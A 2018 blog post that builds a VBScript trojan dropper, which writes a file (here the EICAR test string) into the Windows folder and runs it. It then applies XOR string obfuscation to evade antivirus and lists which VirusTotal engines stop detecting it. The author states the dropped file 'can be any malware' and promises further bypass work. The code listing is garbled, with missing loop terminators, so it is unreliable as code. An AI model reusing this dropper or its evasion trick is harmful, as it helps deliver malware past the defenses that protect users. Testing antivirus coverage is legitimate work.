Wednesday, 7 November 2018

Antivirus Challenge: Encrypting VBS Trojan

In this antivirus challange case, I will do some simple things by creating a VBS trojan dropper then I will apply string encryption to some particular strings. In this case I will encrypt "Scripting.FileSystemObject" and "WScript.Shell". Later I will compare the antivirus detection between original trojan and trojan with encrypted string.

Here's the trojan code:


tmp = Split(t, ",")
Set fso = CreateObject("Scripting.FileSystemObject")
pth = fso.getspecialfolder(0) & "\"
Set f = fso.CreateTextFile(pth, ForWriting)
For i = 0 To UBound(tmp)
    l = Len(tmp(i))
    b = Int("&H" & Left(tmp(i), 2))
    If l > 2 Then
        r = Int("&H" & Mid(tmp(i), 3, l))
        For j = 1 To r
        f.Write Chr(b)
        f.Write Chr(b)
    End If
The trojan will drop eicar file and execute it. In reality, the dropped file can be any malware.

For the encryption function, I will use a simple xor algorithm.
Function CryptXor(sText)
    Dim I
    Dim RetStr
    Dim Charuse,CharPwd
    For I = 1 to Len(sText)
        charuse = Mid(sText,I,1)
        charpwd = Mid("0",(I mod len("0"))+1,1)
        retstr = retstr + chr(asc(charuse) xor asc(charpwd))
    CryptXor = retstr
End Function
If the encryption has been applied then there are two line modified:
Set fso = CreateObject(CryptXor ("cSBY@DY^W vY\UcICDU]RZUSD"))
WScript.CreateObject(CryptXor("gcSBY@D cXU\\")).run(pth)
Now I will scan the original and the encrypted version. Here'are the results:

Original trojan:

Successful antivirus:
Ad-Aware, ALYac, Arcabit, Avast, AVG, Baidu, BitDefender, ClamAV,  DrWeb,  Emsisoft, eScan, ESET-NOD32, F-Secure, GData, Kaspersky, MAX, NANO-Antivirus, Yandex, Zillya, ZoneAlarm
Failed antivirus:
AegisLab, AhnLab-V3, Antiy-AVL, Avast Mobile Security, Avira, Babable, Bkav, CAT-QuickHeal, CMC, Cyren, F-Prot, Fortinet, Ikarus, Jiangmin, K7AntiVirus, K7GW, Kingsoft, Malwarebytes, McAfee, McAfee-GW-Edition, Microsoft, Panda, Qihoo-360, Rising, Sophos AV, SUPERAntiSpyware, Symantec, TACHYON, Tencent, TheHacker, TrendMicro, TrendMicro-HouseCall, VBA32, VIPRE, ViRobot, Zoner, Alibaba, CrowdStrike Falcon, Cybereason, Cylance, eGambit, Endgame, Palo Alto Networks, SentinelOne, Sophos ML, Symantec Mobile Insight, Trustlook, Webroot
Encrypted trojan:

Successful antivirus:
Ad-Aware, ALYac, Arcabit, Avast, AVG, Baidu, BitDefender, Emsisoft, eScan, F-Secure, GData, Kaspersky, MAX, NANO-Antivirus, Zillya, ZoneAlarm
There are four antivirus that become fail to detect the encrypted version:
ClamAV, DrWeb, ESET-NOD32, Yandex
As you can see from the VirusTotal link, most of antivirus still detect the threat as eicar because the VBS trojan contain hex code of eicar file.

About the detection rate, I can say antivirus that don't detect the malware sample have bad malware script detection. ClamAV, DrWeb, ESET-NOD32, Yandex quite good but it is easy to bypass the detection.

Next time, I will encrypt the hex code of eicar file and let's see if this technique can bypass your antivirus protection.

No comments:

Post a comment